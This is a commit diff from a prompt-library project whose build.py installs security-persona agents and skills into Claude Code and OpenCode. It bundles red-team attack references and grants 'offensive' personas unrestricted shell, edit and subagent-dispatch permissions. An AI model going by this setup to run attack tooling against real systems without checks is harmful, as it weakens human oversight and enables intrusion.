Compare commits

...

5 Commits

Author SHA1 Message Date
0b308ed8be fix(install_opencode): emit all variants, spec-compliant frontmatter
Agent emission was only writing general.json for each persona (29 files),
skipping 82 variants. Non-general variants now install as:
  <codename>-<variant>.md  with  mode: subagent + hidden: true

Key changes to install_opencode agent-emission half:
- Loop every *.json in each persona dir, not just general.json
- Enforce opencode identifier regex ^[a-z0-9]+(-[a-z0-9]+)*$ with sanitizer
- Non-general variants are always subagent (hidden:true is undefined on
  mode:primary per opencode docs); permission tier still follows domain
- Add permission.task block gating subagent dispatch
- Wrap description in double quotes with backslash/quote escaping so any
  special chars (&, :, quotes) can't corrupt the YAML frontmatter
- Variant identity surfaced in both description ("Variant: x") and body
  header "[x]" so prompts self-identify

Stale-agent cleanup via sidecar manifest (.personas-manifest.json):
prior emission list is tracked so re-runs prune removed variants without
touching any hand-authored agents in agents/.

Result: 29 -> 111 agents installed, 9 primary + 102 subagent, all
picker-clean (Tab cycles 9 canonical offensive personas; variants reach
via @codename-variant or task dispatch).

Skills-install half intentionally untouched — direct-to-active remains
the correct default for users who don't layer opc-skills on top.
2026-04-18 19:12:11 +03:00
salvacybersec
f2f90abf13 docs: update README + CLAUDE.md for OpenCode + InternalAllTheThings
- Add OpenCode as 7th install target with topic filter docs
- Add InternalAllTheThings (168 AD/red team docs) to shared library listing
- Update skill count 795→796, community-skills 701→703
- Add OpenCode integration section with CLI examples
- Add build output rows for OpenCode agents/skills
- Platform count 6→7

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 11:44:58 +03:00
salvacybersec
448d1cdcd9 feat(install): add OpenCode target + InternalAllTheThings knowledge base
- install_opencode: deploys 29 personas as agents + 1011 skills to
  ~/.config/opencode/{agents,skills}/. Uses OpenCode's markdown+YAML
  agent format (mode/color/permission) and SKILL.md format.
- Topic filter with sensible defaults (drops marketing/biz ~514 skills).
  CLI: --opencode-topics security-offensive,coding-backend,...
- Clone of swisskyrepo/InternalAllTheThings (168 MD, 1.7MB) added to
  _shared/ as a reference trove for AD attack paths, ADCS ESC1-15,
  Kerberos delegation, NTLM relay/coerce, lateral movement, persistence.
- NEO redteam + VORTEX cloud-ad personas reference the new KB with
  MITRE ATT&CK TTP mapping pointers.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 03:11:44 +03:00
salvacybersec
309e389c65 feat(install): add --install claude-skills with category filters
New install target copies _shared/skills/**/SKILL.md directories to
~/.claude/skills/<name>/ as native Claude Code skills, with filters to
keep the list manageable (Claude evaluates each skill description on
every message, so 800+ bulk installs slow routing).

Filters (apply to cybersecurity-domain skills only; non-cyber sources
like paperclip/community pass through):
  --skill-sources     comma-list of _shared/<dir> (default: skills,paperclip-skills)
  --skill-subdomains  SKILL.md frontmatter subdomain filter
  --skill-prefix      verb-prefix filter (performing,detecting,hunting,...)
  --skill-exclude     regex blocklist
  --skill-dry-run     preview
  --skill-force       overwrite existing

Presets (set subdomains+prefix together):
  offensive   red-team/pentest/web/api/IAM × performing,exploiting,testing,hunting,analyzing,scanning
  defensive   DFIR/IR/SOC/endpoint/malware × detecting,analyzing,hunting,implementing,building
  ctiops      threat-intel+hunting+malware × analyzing,hunting,detecting
  minimal     top 5 subdomains × top 5 verbs
  all         no filters

Also purges broken ~/.claude/skills/Anthropic-Cybersecurity-Skills/
(whole-repo dir from an older flow — not a valid skill).

Examples:
  python3 build.py --install claude-skills --skill-preset offensive
  python3 build.py --install claude-skills --skill-preset ctiops --skill-sources skills
  python3 build.py --install claude-skills --skill-preset all  # 754 cyber skills
  python3 build.py --install claude-skills --skill-preset minimal \
      --skill-sources skills,paperclip-skills,community-skills  # 859 total

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 21:37:29 +03:00
salvacybersec
1306f422d3 fix(install_claude): emit native Claude Code agent format (.md + YAML frontmatter)
Previously wrote .yml files to ~/.claude/agents/ which Claude Code ignores —
only native .md with YAML frontmatter (name/description/tools/color) appears
in the subagent picker. Now 29 personas are spawnable via
Agent(subagent_type=<codename>) alongside native agents.

Also:
- Tool scoping per domain: offensive/dev get Bash+Write, intel/analysis
  stay read-only (Read, Glob, Grep, WebFetch, WebSearch)
- Slash command naming normalized: /persona-neo-general.prompt
  → /persona-neo (general) + /persona-neo-redteam (variants)
- Legacy .yml agents purged on each install
- Domain-based color palette for /agents picker grouping

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 21:31:45 +03:00
180 changed files with 26589 additions and 50 deletions

View File

@@ -4,7 +4,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
## What This Is
A platform-agnostic system prompt library for LLM agents. 29 personas across 10 domains, 111 variants, 59,712 words. Includes 795 shared skills, 58 brand design systems, 23 company agents, and auto-install to 6 platforms (Claude, Antigravity, Gemini, OpenClaw, Paperclip, raw).
A platform-agnostic system prompt library for LLM agents. 29 personas across 10 domains, 111 variants, 59,712 words. Includes 796 shared skills, 58 brand design systems, 23 company agents, 168 AD/red team attack docs (InternalAllTheThings), and auto-install to 7 platforms (Claude, Antigravity, Gemini, OpenClaw, OpenCode, Paperclip, raw).
## Build
@@ -36,7 +36,7 @@ Optional: `cp config.example.yaml config.yaml` for dynamic variable injection. B
**Shared library** (`personas/_shared/`): Reusable knowledge bases (skipped during persona build, indexed into outputs):
- `skills/` — 42 shared skills from OpenClaw/kali-claw (SKILL.md + references per skill)
- `paperclip-skills/` — 52 skills from paperclip-docs (ceo-advisor, coding-agent, security-review, etc.)
- `community-skills/` — 701 skills from skills.sh marketplace (shadcn, vercel, marketing, expo, obsidian, impeccable, browser-use, stitch, firecrawl, github, neon, azure, etc.)
- `community-skills/` — 703 skills from skills.sh marketplace (shadcn, vercel, olla, expo, etc.) (shadcn, vercel, marketing, expo, obsidian, impeccable, browser-use, stitch, firecrawl, github, neon, azure, etc.)
- `design-md/` — 58 brand DESIGN.md files (Stripe, Claude, Linear, Apple, Vercel, etc.)
- `ui-ux-pro-max/` — BM25 search engine + 14 CSV data files (67 styles, 161 products, 57 fonts)
- `paperclip-agents/` — 23 company agents (Odin/CEO, Thor/CTO, Freya/CMO, Frigg/COO + 19 team members)
@@ -44,6 +44,7 @@ Optional: `cp config.example.yaml config.yaml` for dynamic variable injection. B
- `openclaw-personas/` — Original 6 OpenClaw persona definitions + SOUL.md + IDENTITY.md + TOOLS.md
- `osint-sources/` — OSINT master reference and investigation templates
- `ad-attack-tools/` — Active Directory attack chain references
- `internal-allthethings/` — 168 InternalAllTheThings docs (swisskyrepo): AD attacks (ADCS ESC1-15, Kerberos, NTLM relay, coerce, delegation), red team (access, escalation, evasion, persistence, pivoting), cloud (AWS/Azure/IBM), C2 (Cobalt Strike, Metasploit, Mythic), containers, databases, DevOps CI/CD
**Build outputs** (`generated/_index/`):
- `escalation_graph.json` — cross-persona handoff map extracted from Boundaries sections
@@ -59,6 +60,7 @@ python3 build.py --install claude # 111 slash commands → ~/.claude/comma
python3 build.py --install antigravity # personas → ~/.config/antigravity/personas/
python3 build.py --install gemini # Gems → generated/_gems/
python3 build.py --install openclaw # IDENTITY.md + 29 personas → generated/_openclaw/
python3 build.py --install opencode # 29 agents + 1530 skills → ~/.config/opencode/{agents,skills}/
python3 build.py --install paperclip # 52 agents + 73 skills → generated/_paperclip/
python3 build.py --install all # all platforms at once
```

View File

@@ -2,7 +2,7 @@
> Platform-agnostic system prompt library for LLM agents.
> 29 personas. 10 domains. 111 variants. 60,000+ words of production-grade prompts.
> 795 skills. 58 brand design systems. 16 Kali tool references. Multi-platform auto-install.
> 796 skills. 58 brand design systems. 16 Kali tool references. 168 AD/red team attack docs. Multi-platform auto-install.
```
┌─ Neo ─── Phantom ─── Cipher ─── Specter ─── Bastion ─── Vortex ─── Sentinel
@@ -47,8 +47,8 @@
│ └─ Heimd (Product Manager)
└──── SHARED LIBRARY ────────────────────────────────────
795 skills │ 58 brand designs │ 16 kali-tools
Auto-install: Claude · Antigravity · Gemini · OpenClaw · Paperclip
796 skills │ 58 brand designs │ 16 kali-tools │ 168 AD/redteam docs
Auto-install: Claude · Antigravity · Gemini · OpenClaw · OpenCode · Paperclip
```
## Quick Start
@@ -190,7 +190,8 @@ personas/
├── _shared/ # Shared knowledge bases (skipped in persona build)
│ ├── skills/ (42) # OpenClaw + kali-claw shared skills
│ ├── paperclip-skills/(52) # Paperclip company skills (CEO, coding, devops...)
│ ├── community-skills/(701)# skills.sh marketplace (shadcn, vercel, marketing...)
│ ├── community-skills/(703)# skills.sh marketplace (shadcn, vercel, olla, marketing...)
│ ├── internal-allthethings/ # InternalAllTheThings — 168 AD/red team attack docs (swisskyrepo)
│ ├── design-md/ (58) # Brand DESIGN.md files (Stripe, Claude, Linear...)
│ ├── ui-ux-pro-max/ # BM25 search engine + 14 CSV data files
│ ├── paperclip-agents/(23) # Company agents (Odin/CEO, Thor/CTO, Freya/CMO...)
@@ -276,10 +277,12 @@ Escalation paths to other personas
```bash
python3 build.py # build all → generated/
python3 build.py --install claude # deploy as Claude Code slash commands
python3 build.py --install claude # deploy as Claude Code slash commands + agents
python3 build.py --install claude-skills # deploy shared skills to ~/.claude/skills/
python3 build.py --install antigravity # deploy to Antigravity IDE
python3 build.py --install gemini # deploy as Gemini Gems
python3 build.py --install openclaw # deploy to OpenClaw format
python3 build.py --install opencode # deploy 29 agents + 1011 skills to OpenCode
python3 build.py --install paperclip # deploy to Paperclip (52 agents + 73 skills)
python3 build.py --install all # deploy to all platforms
```
@@ -303,6 +306,8 @@ Reads `config.yaml` (if present) and generates three formats per variant:
| Gemini Gems | `generated/_gems/` | Google AI Studio format |
| OpenClaw | `generated/_openclaw/` | IDENTITY.md + individual personas |
| Paperclip | `generated/_paperclip/` | 52 agents + 73 skills (Hermes format) |
| OpenCode agents | `~/.config/opencode/agents/` | 29 native subagents (md + YAML frontmatter) |
| OpenCode skills | `~/.config/opencode/skills/` | 1011 skills (topic-filtered, no marketing/biz) |
### Config-Driven Customization
@@ -329,6 +334,20 @@ Persona files can reference config values:
Without `config.yaml`, personas build with their static content — no config required.
### OpenCode Integration
OpenCode (`opencode-ai`) gets 29 agents and 1011 topic-filtered skills:
```bash
python3 build.py --install opencode # default: security + dev + AI + ops
python3 build.py --install opencode --opencode-topics all # everything (1530)
python3 build.py --install opencode --opencode-topics security-offensive,security-defensive,ai-llm-dev
```
**Topics**: security-offensive, security-defensive, security-cloud, security-specialized, security-iam, security-network, security-general, ai-llm-dev, coding-backend, coding-frontend, coding-tools, cloud-infra, database, browser-scrape, ops-sysadmin, osint-intel, marketing-content, business-pm, uncategorized.
Default drops marketing/business-pm/uncategorized (~514 skills). Agents use OpenCode's markdown+YAML format with `mode: primary|subagent` and `permission:` blocks. OpenCode also reads `~/.claude/skills/` natively.
## Integration
### Raw System Prompt
@@ -435,7 +454,8 @@ The `_shared/` directory contains reusable knowledge bases from multiple sources
|--------|---------|-------|
| **OpenClaw + kali-claw** | Security/intelligence skills (pentest, OSINT, CTI) | 42 skills |
| **Paperclip (Born2beRoot)** | Company management skills (CEO, coding, devops) | 52 skills |
| **skills.sh marketplace** | Community skills (shadcn, vercel, marketing, expo) | 701 skills |
| **skills.sh marketplace** | Community skills (shadcn, vercel, olla, expo) | 703 skills |
| **InternalAllTheThings** | AD attacks, red team, ADCS, Kerberos, NTLM relay (swisskyrepo) | 168 docs |
| **awesome-design-md** | Brand design systems (Stripe, Claude, Linear, Apple) | 58 brands |
| **ui-ux-pro-max** | BM25 search engine for UI/UX decisions | 14 data files |
| **Kali Linux** | Tool reference docs (nmap, hashcat, AD, wireless) | 16 docs |
@@ -449,11 +469,12 @@ Skills are auto-mapped to personas during build. Each persona's JSON/YAML output
| Personas | 29 |
| Total variants | 111 |
| Prompt content | 59,712 words |
| Shared skills | 795 |
| Shared skills | 796 |
| Design brands | 58 |
| Kali tool docs | 16 |
| AD/Red team docs | 168 (InternalAllTheThings) |
| Paperclip agents | 23 |
| Target platforms | 6 (Claude, Antigravity, Gemini, OpenClaw, Paperclip, raw) |
| Target platforms | 7 (Claude, Antigravity, Gemini, OpenClaw, OpenCode, Paperclip, raw) |
| Output formats | 3 (.prompt.md, .yaml, .json) + platform-specific |
## License

798
build.py
View File

@@ -928,22 +928,63 @@ def print_summary(
def install_claude(output_dir: Path):
"""Install personas to Claude Code as slash commands + agents."""
"""Install personas to Claude Code as slash commands + native subagents.
Native Claude Code agents are .md files with YAML frontmatter under
~/.claude/agents/. Tool permissions are scoped per domain:
- offensive/dev/engineering: full toolset incl. Bash/Write
- intel/analysis/history/law: read + search + web only
"""
commands_dir = Path.home() / ".claude" / "commands"
agents_dir = Path.home() / ".claude" / "agents"
commands_dir.mkdir(parents=True, exist_ok=True)
agents_dir.mkdir(parents=True, exist_ok=True)
# Domain → tool scope. "full" gets Bash + Write; "readonly" does not.
OFFENSIVE_DOMAINS = {
"cybersecurity",
"engineering",
"devops",
"software-development",
"ai-ml",
}
FULL_TOOLS = (
"Read, Edit, Write, Bash, Glob, Grep, WebFetch, WebSearch"
)
READONLY_TOOLS = "Read, Glob, Grep, WebFetch, WebSearch"
# Color palette per domain family for visual grouping in /agents picker.
DOMAIN_COLOR = {
"cybersecurity": "red",
"intelligence": "cyan",
"military": "orange",
"law": "yellow",
"economics": "green",
"politics": "purple",
"history": "blue",
"linguistics": "pink",
"media": "pink",
"engineering": "green",
"academia": "blue",
}
cmd_count = 0
agent_count = 0
orphans_removed = 0
# Purge legacy .yml agents from previous build (wrong format, unused by CC).
for stale in agents_dir.glob("*.yml"):
stale.unlink()
orphans_removed += 1
for persona_dir in sorted(output_dir.iterdir()):
if not persona_dir.is_dir() or persona_dir.name.startswith("_"):
continue
# Install slash commands for all variants
# Install slash commands for all variants (general + specializations).
for prompt_file in persona_dir.glob("*.prompt.md"):
variant = prompt_file.stem
variant = prompt_file.stem.replace(".prompt", "")
codename = persona_dir.name
cmd_name = (
f"persona-{codename}"
@@ -956,7 +997,7 @@ def install_claude(output_dir: Path):
dest.write_text(command_content, encoding="utf-8")
cmd_count += 1
# Install agent .yml for general variant (appears in /agents menu)
# Install native subagent for the general variant only.
general_json = persona_dir / "general.json"
if not general_json.exists():
continue
@@ -975,46 +1016,196 @@ def install_claude(output_dir: Path):
methodology = data.get("sections", {}).get("methodology", "")
behavior = data.get("sections", {}).get("behavior_rules", "")
instructions = f"You are **{name}** ({address_to}) — {role}.\n\n"
instructions += f"Domain: {domain} | Tone: {tone}\n\n"
body = f"You are **{name}** ({address_to}) — {role}.\n\n"
body += f"Domain: {domain} | Tone: {tone}\n\n"
if quote:
instructions += f'> "{quote}"\n\n'
instructions += "## Soul\n" + soul[:1500] + "\n\n"
body += f'> "{quote}"\n\n'
if soul:
body += "## Soul\n" + soul.strip() + "\n\n"
if methodology:
instructions += "## Methodology\n" + methodology[:1500] + "\n\n"
body += "## Methodology\n" + methodology.strip() + "\n\n"
if behavior:
instructions += "## Behavior\n" + behavior[:800] + "\n"
body += "## Behavior\n" + behavior.strip() + "\n\n"
if skills:
instructions += "\n## Mapped Skills\n" + ", ".join(skills) + "\n"
body += "## Mapped Skills\n" + ", ".join(skills) + "\n"
agent = {
"name": codename,
"description": f"{name} ({address_to}) — {role}. {domain}.",
"instructions": instructions,
"allowedTools": [
"Read(*)",
"Edit(*)",
"Write(*)",
"Bash(*)",
"Glob(*)",
"Grep(*)",
"WebFetch(*)",
"WebSearch(*)",
],
}
agent_file = agents_dir / f"{codename}.yml"
agent_file.write_text(
yaml.dump(
agent, allow_unicode=True, default_flow_style=False, sort_keys=False
),
encoding="utf-8",
tools = (
FULL_TOOLS if domain in OFFENSIVE_DOMAINS else READONLY_TOOLS
)
color = DOMAIN_COLOR.get(domain, "gray")
# Single-line description keeps YAML frontmatter safe.
desc = f"{name} ({address_to}) — {role}. Domain: {domain}.".replace(
"\n", " "
)
frontmatter = (
"---\n"
f"name: {codename}\n"
f"description: {desc}\n"
f"tools: {tools}\n"
f"color: {color}\n"
"---\n\n"
)
agent_file = agents_dir / f"{codename}.md"
agent_file.write_text(frontmatter + body, encoding="utf-8")
agent_count += 1
print(f" Claude: {cmd_count} commands + {agent_count} agents installed")
print(
f" Claude: {cmd_count} commands + {agent_count} agents installed "
f"({orphans_removed} legacy .yml purged)"
)
return cmd_count
def _parse_skill_frontmatter(skill_md: Path) -> dict:
"""Extract YAML frontmatter from a SKILL.md. Returns empty dict if absent."""
try:
text = skill_md.read_text(encoding="utf-8", errors="replace")
except OSError:
return {}
if not text.startswith("---"):
return {}
end = text.find("\n---", 3)
if end == -1:
return {}
try:
return yaml.safe_load(text[3:end]) or {}
except yaml.YAMLError:
return {}
def install_claude_skills(
shared_dir: Path | None,
sources: list[str],
subdomains: set[str] | None,
prefixes: list[str] | None,
exclude_regex: str | None,
dry_run: bool,
force: bool,
):
"""Install shared skills as native Claude Code skills.
Claude expects each skill at ~/.claude/skills/<name>/SKILL.md. This copies
each valid skill directory verbatim (preserving scripts/, references/,
assets/ etc.) and applies filters so the skill list stays manageable.
Args:
shared_dir: personas/_shared/ path.
sources: list of subdirs under _shared/ to pull from (e.g. ["skills",
"paperclip-skills", "community-skills"]).
subdomains: set of subdomain values to include. None = no filter.
Only applies to skills that declare a `subdomain:` in frontmatter.
prefixes: skill-name prefixes to include (e.g. ["performing",
"detecting"]). None = no filter.
exclude_regex: skills whose name matches this regex are skipped.
dry_run: print what would be installed, make no changes.
force: overwrite existing skill dirs without prompting.
"""
if shared_dir is None or not shared_dir.exists():
print(" No shared library found — cannot install skills.")
return 0
skills_dir = Path.home() / ".claude" / "skills"
skills_dir.mkdir(parents=True, exist_ok=True)
# Remove the broken whole-repo dir if present (installed by an older flow).
broken_repo = skills_dir / "Anthropic-Cybersecurity-Skills"
if broken_repo.exists() and (broken_repo / "skills").is_dir():
if dry_run:
print(f" [dry-run] would purge broken {broken_repo}")
else:
import shutil
shutil.rmtree(broken_repo)
print(f" Purged broken repo-dir: {broken_repo}")
import re as _re
import shutil as _shutil
exclude_pat = _re.compile(exclude_regex) if exclude_regex else None
totals = {"installed": 0, "skipped_filter": 0, "skipped_invalid": 0,
"skipped_existing": 0, "overwritten": 0}
per_source: dict[str, int] = {}
for source in sources:
source_dir = shared_dir / source
if not source_dir.exists():
print(f" [warn] source not found: {source_dir}")
continue
count = 0
for skill_dir in sorted(source_dir.iterdir()):
if not skill_dir.is_dir() or skill_dir.name.startswith((".", "_")):
continue
skill_md = skill_dir / "SKILL.md"
if not skill_md.exists():
totals["skipped_invalid"] += 1
continue
name = skill_dir.name
# Exclusion regex takes priority across all sources.
if exclude_pat and exclude_pat.search(name):
totals["skipped_filter"] += 1
continue
# Subdomain + prefix filters only apply to cybersecurity skills.
# Non-cyber skills (paperclip ceo-advisor, community shadcn, etc.)
# don't follow the verb-prefix naming convention, so forcing them
# through the filter would drop everything.
fm = _parse_skill_frontmatter(skill_md)
is_cyber = fm.get("domain") == "cybersecurity"
if is_cyber and prefixes:
verb = name.split("-", 1)[0]
if verb not in prefixes:
totals["skipped_filter"] += 1
continue
if is_cyber and subdomains is not None:
sd = fm.get("subdomain")
if sd is not None and sd not in subdomains:
totals["skipped_filter"] += 1
continue
dest = skills_dir / name
if dest.exists():
if not force:
totals["skipped_existing"] += 1
continue
if dry_run:
totals["overwritten"] += 1
else:
_shutil.rmtree(dest)
_shutil.copytree(skill_dir, dest)
totals["overwritten"] += 1
count += 1
continue
if dry_run:
totals["installed"] += 1
else:
_shutil.copytree(skill_dir, dest)
totals["installed"] += 1
count += 1
per_source[source] = count
mode = "[dry-run] " if dry_run else ""
print(f" {mode}Claude skills — per source: "
+ ", ".join(f"{k}={v}" for k, v in per_source.items()))
print(
f" {mode}Totals: {totals['installed']} installed, "
f"{totals['overwritten']} overwritten, "
f"{totals['skipped_existing']} skipped (exists, use --skill-force), "
f"{totals['skipped_filter']} skipped by filter, "
f"{totals['skipped_invalid']} invalid (no SKILL.md)"
)
return totals["installed"] + totals["overwritten"]
def install_antigravity(output_dir: Path):
"""Install personas to Antigravity IDE system prompts."""
# Antigravity stores system prompts in ~/.config/antigravity/prompts/ or project .antigravity/
@@ -1035,6 +1226,393 @@ def install_antigravity(output_dir: Path):
return count
OPENCODE_TOPICS = {
"security-offensive",
"security-defensive",
"security-cloud",
"security-specialized",
"security-iam",
"security-network",
"security-general",
"ai-llm-dev",
"coding-backend",
"coding-frontend",
"coding-tools",
"cloud-infra",
"database",
"browser-scrape",
"ops-sysadmin",
"osint-intel",
"marketing-content",
"business-pm",
"uncategorized",
}
# Default set: dev + security + AI + ops. Drops marketing/biz fluff.
OPENCODE_DEFAULT_TOPICS = {
"security-offensive", "security-defensive", "security-cloud",
"security-specialized", "security-iam", "security-network",
"security-general",
"ai-llm-dev", "coding-backend", "coding-frontend", "coding-tools",
"cloud-infra", "database", "browser-scrape", "ops-sysadmin",
"osint-intel",
}
def _classify_skill_topic(name: str, fm: dict) -> str:
"""Map a skill to one of OPENCODE_TOPICS based on frontmatter + name."""
CYBER_MAP = {
"red-teaming": "security-offensive",
"penetration-testing": "security-offensive",
"web-application-security": "security-offensive",
"api-security": "security-offensive",
"mobile-security": "security-offensive",
"cryptography": "security-offensive",
"threat-hunting": "security-defensive",
"threat-intelligence": "security-defensive",
"threat-detection": "security-defensive",
"digital-forensics": "security-defensive",
"incident-response": "security-defensive",
"soc-operations": "security-defensive",
"security-operations": "security-defensive",
"malware-analysis": "security-defensive",
"ransomware-defense": "security-defensive",
"phishing-defense": "security-defensive",
"endpoint-security": "security-defensive",
"deception-technology": "security-defensive",
"network-security": "security-network",
"cloud-security": "security-cloud",
"container-security": "security-cloud",
"identity-access-management": "security-iam",
"zero-trust-architecture": "security-iam",
"ot-ics-security": "security-specialized",
"vulnerability-management": "security-specialized",
"devsecops": "security-specialized",
"compliance-governance": "security-specialized",
"application-security": "security-specialized",
"supply-chain-security": "security-specialized",
}
sd = fm.get("subdomain")
if sd in CYBER_MAP:
return CYBER_MAP[sd]
if fm.get("domain") == "cybersecurity":
return "security-general"
NAME_PATTERNS = [
("coding-frontend", r"^(react|nextjs|next-|angular|vue-|svelte|tailwind|shadcn|vercel|expo|remotion|frontend|ui-ux|accessibility|canvas-|stitch|framer)"),
("coding-backend", r"^(python|java-|csharp|dotnet|aspnet|kotlin|swift|rust-|golang|go-|ruby-|php-|nodejs|node-|bash-|cli-|bazel|async-|architecting-|aspire-)"),
("coding-tools", r"^(commit|changelog|debug-|refactor|test-driven|tdd|bdd|git-|github-|gitlab-|bats|copilot|codeql|code-review|linting|formatting|add-|adr-|agent-browser|mcp-)"),
("ai-llm-dev", r"^(ai-|agentic|claude-|mcp|openai|anthropic|llm|rag-|embedding|fine-tun|prompt|anythingllm|olla|huggingface|elevenlabs|crawl-for-ai|agent-tools|agent-ui|agent-governance|para-memory|knowledge-hub)"),
("cloud-infra", r"^(aws|azure|gcp|kubernetes|docker|terraform|cloudflare|vercel|netlify|supabase|firebase|k8s|iac|devops|cicd|ansible|helm|bigquery|airflow|az-)"),
("database", r"^(sql-|postgres|mysql|mongodb|redis)"),
("browser-scrape", r"^(browser|playwright|puppeteer|firecrawl|stealth|scrape|crawl|use-my-browser)"),
("osint-intel", r"^(osint|recon|intel-|foia|seithar|deep-scraper|stealth-browser|social-trust|news-crawler|proudguard|gov-cyber|tavily|session-logs|youtube-transcript)"),
("marketing-content", r"^(copywriting|content-|seo-|blog-|article-|marketing-|ad-(creative|campaign)|brand-|banner|churn|billing|gtm-|competitive|backlink|boost|twitter|ai-social|ai-marketing|ai-content|ai-podcast|ai-music|ai-avatar|ai-automation|ai-image|ai-video|impeccable)"),
("ops-sysadmin", r"^(healthcheck|sysadmin|dns-networking|network-|nmap-|pcap-|tmux|freshrss|obsidian-|librarian|pdf-|image-ocr|mistral-ocr|analyze|weather|node-connect|clawflow|skill-creator|devops-engineer)"),
("business-pm", r"^(ceo-|cfo-|product-manager|marketing-strategist|marketing-psychology|qa-testing|design-md|persona-customer|product-|gtm-|arize|dataverse|power-|microsoft-)"),
("security-offensive", r"^(exploiting|pentest-|performing-(web|api|initial|privilege|credential|graphql|soap|lateral|clickjacking|subdomain|open-source|wireless|physical|iot|external|directory|oauth|csrf|web-application|web-cache|http|thick|content-security|active-directory|kerberoasting|second-order|blind-ssrf|jwt-none|initial-access)|testing-(for|api|oauth2|jwt|websocket|websocket-api|cors)|sql-injection|pwnclaw-security)"),
("security-defensive", r"^(security-(review|audit|scanner|headers|skill-scanner)|senior-secops|threat-|ctf-|sys-guard|clawsec|agent-intelligence|war-intel|sentinel)"),
]
for topic, pattern in NAME_PATTERNS:
if re.match(pattern, name.lower()):
return topic
return "uncategorized"
def _parse_skill_frontmatter_simple(skill_md: Path) -> dict:
"""Minimal YAML frontmatter parser — just key: value pairs."""
try:
text = skill_md.read_text(encoding="utf-8", errors="ignore")
except Exception:
return {}
if not text.startswith("---"):
return {}
end = text.find("\n---", 4)
if end < 0:
return {}
fm = {}
for line in text[4:end].splitlines():
m = re.match(r"^([a-z_]+):\s*(.+?)\s*$", line)
if m:
fm[m.group(1)] = m.group(2).strip().strip('"\'')
return fm
def install_opencode(
output_dir: Path,
shared_dir: Path | None = None,
topics: set[str] | None = None,
):
"""Install personas to OpenCode as agents + skills.
OpenCode agent format (per https://opencode.ai/docs/agents/):
- Location: ~/.config/opencode/agents/<codename>.md
- YAML frontmatter: description, mode (primary|subagent), model,
temperature, color, permission (edit/bash/webfetch/task).
OpenCode skill format (per https://opencode.ai/docs/skills/):
- Location: ~/.config/opencode/skills/<name>/SKILL.md
- YAML frontmatter: name, description (required).
- OpenCode ALSO reads ~/.claude/skills/ natively.
Args:
topics: set of topics to install (see OPENCODE_TOPICS). Defaults to
OPENCODE_DEFAULT_TOPICS which drops marketing/biz skills.
"""
if topics is None:
topics = OPENCODE_DEFAULT_TOPICS
agents_dir = Path.home() / ".config" / "opencode" / "agents"
skills_dir = Path.home() / ".config" / "opencode" / "skills"
agents_dir.mkdir(parents=True, exist_ok=True)
skills_dir.mkdir(parents=True, exist_ok=True)
# Offensive/engineering personas get full permissions (primary mode).
# Analytical personas are subagents with readonly bias.
OFFENSIVE_DOMAINS = {
"cybersecurity",
"engineering",
"devops",
"software-development",
"ai-ml",
}
DOMAIN_COLOR = {
"cybersecurity": "error", # red-like
"intelligence": "info", # cyan-like
"military": "warning", # orange
"law": "warning",
"economics": "success",
"politics": "accent",
"history": "primary",
"linguistics": "secondary",
"media": "secondary",
"engineering": "success",
"academia": "primary",
"humanities": "accent",
"science": "info",
"strategy": "accent",
}
agent_count = 0
emitted_agents: set[str] = set()
ident_re = re.compile(r"^[a-z0-9]+(-[a-z0-9]+)*$")
# Emit one agent file per variant. General → <codename>.md (picker-visible).
# Non-general → <codename>-<variant>.md with hidden:true so it's
# task-dispatchable by name without cluttering the picker.
for persona_dir in sorted(output_dir.iterdir()):
if not persona_dir.is_dir() or persona_dir.name.startswith("_"):
continue
for variant_json in sorted(persona_dir.glob("*.json")):
try:
data = json.loads(variant_json.read_text(encoding="utf-8"))
except json.JSONDecodeError:
continue
if not data.get("codename"):
continue
codename = data["codename"]
variant = data.get("variant") or "general"
name = data.get("name", codename.title())
role = data.get("role", "Specialist")
domain = data.get("domain", "")
tone = data.get("tone", "")
address_to = data.get("address_to", "")
quote = data.get("quote", "")
skills = data.get("skills", [])
# opencode agent identifier: ^[a-z0-9]+(-[a-z0-9]+)*$
agent_ident = codename if variant == "general" else f"{codename}-{variant}"
agent_ident = agent_ident.lower()
if not ident_re.match(agent_ident):
sanitized = re.sub(r"[^a-z0-9]+", "-", agent_ident).strip("-")
if not ident_re.match(sanitized):
print(f" WARN skipping {codename}/{variant}: cannot sanitize identifier")
continue
agent_ident = sanitized
soul = data.get("sections", {}).get("soul", "")
methodology = data.get("sections", {}).get("methodology", "")
behavior = data.get("sections", {}).get("behavior_rules", "")
header = f"You are **{name}** ({address_to}) — {role}"
if variant != "general":
header += f" [{variant}]"
body = header + ".\n\n"
body += f"Domain: {domain} | Tone: {tone}\n\n"
if quote:
body += f'> "{quote}"\n\n'
if soul:
body += "## Soul\n" + soul.strip() + "\n\n"
if methodology:
body += "## Methodology\n" + methodology.strip() + "\n\n"
if behavior:
body += "## Behavior\n" + behavior.strip() + "\n\n"
if skills:
body += "## Mapped Skills\n" + ", ".join(skills) + "\n"
is_offensive = domain in OFFENSIVE_DOMAINS
# Only general variants can be primary (Tab-cycled, top-level).
# All non-general variants are subagents so hidden:true is defined
# per opencode spec ("only applies to mode: subagent") and the Tab
# cycle stays restricted to canonical personas.
if variant == "general" and is_offensive:
mode = "primary"
else:
mode = "subagent"
color = DOMAIN_COLOR.get(domain, "primary")
# Tier-based permissions. task:"*" gates subagent dispatch so a
# compromised subagent can't silently escalate into another.
if is_offensive:
permission_block = (
"permission:\n"
" edit: allow\n"
" bash:\n"
' "*": allow\n'
" webfetch: allow\n"
" task:\n"
' "*": allow\n'
)
else:
permission_block = (
"permission:\n"
" edit: ask\n"
" bash:\n"
' "*": ask\n'
" webfetch: allow\n"
" task:\n"
' "*": ask\n'
)
if variant == "general":
desc_raw = f"{name} ({address_to}) — {role}. Domain: {domain}."
else:
desc_raw = (
f"{name} ({address_to}) — {role}. "
f"Variant: {variant}. Domain: {domain}."
)
desc_safe = desc_raw.replace("\n", " ").replace("\r", " ")
desc_escaped = desc_safe.replace("\\", "\\\\").replace('"', '\\"')
hidden_line = "hidden: true\n" if variant != "general" else ""
frontmatter = (
"---\n"
f'description: "{desc_escaped}"\n'
f"mode: {mode}\n"
f"{hidden_line}"
"temperature: 0.3\n"
f"color: {color}\n"
f"{permission_block}"
"---\n\n"
)
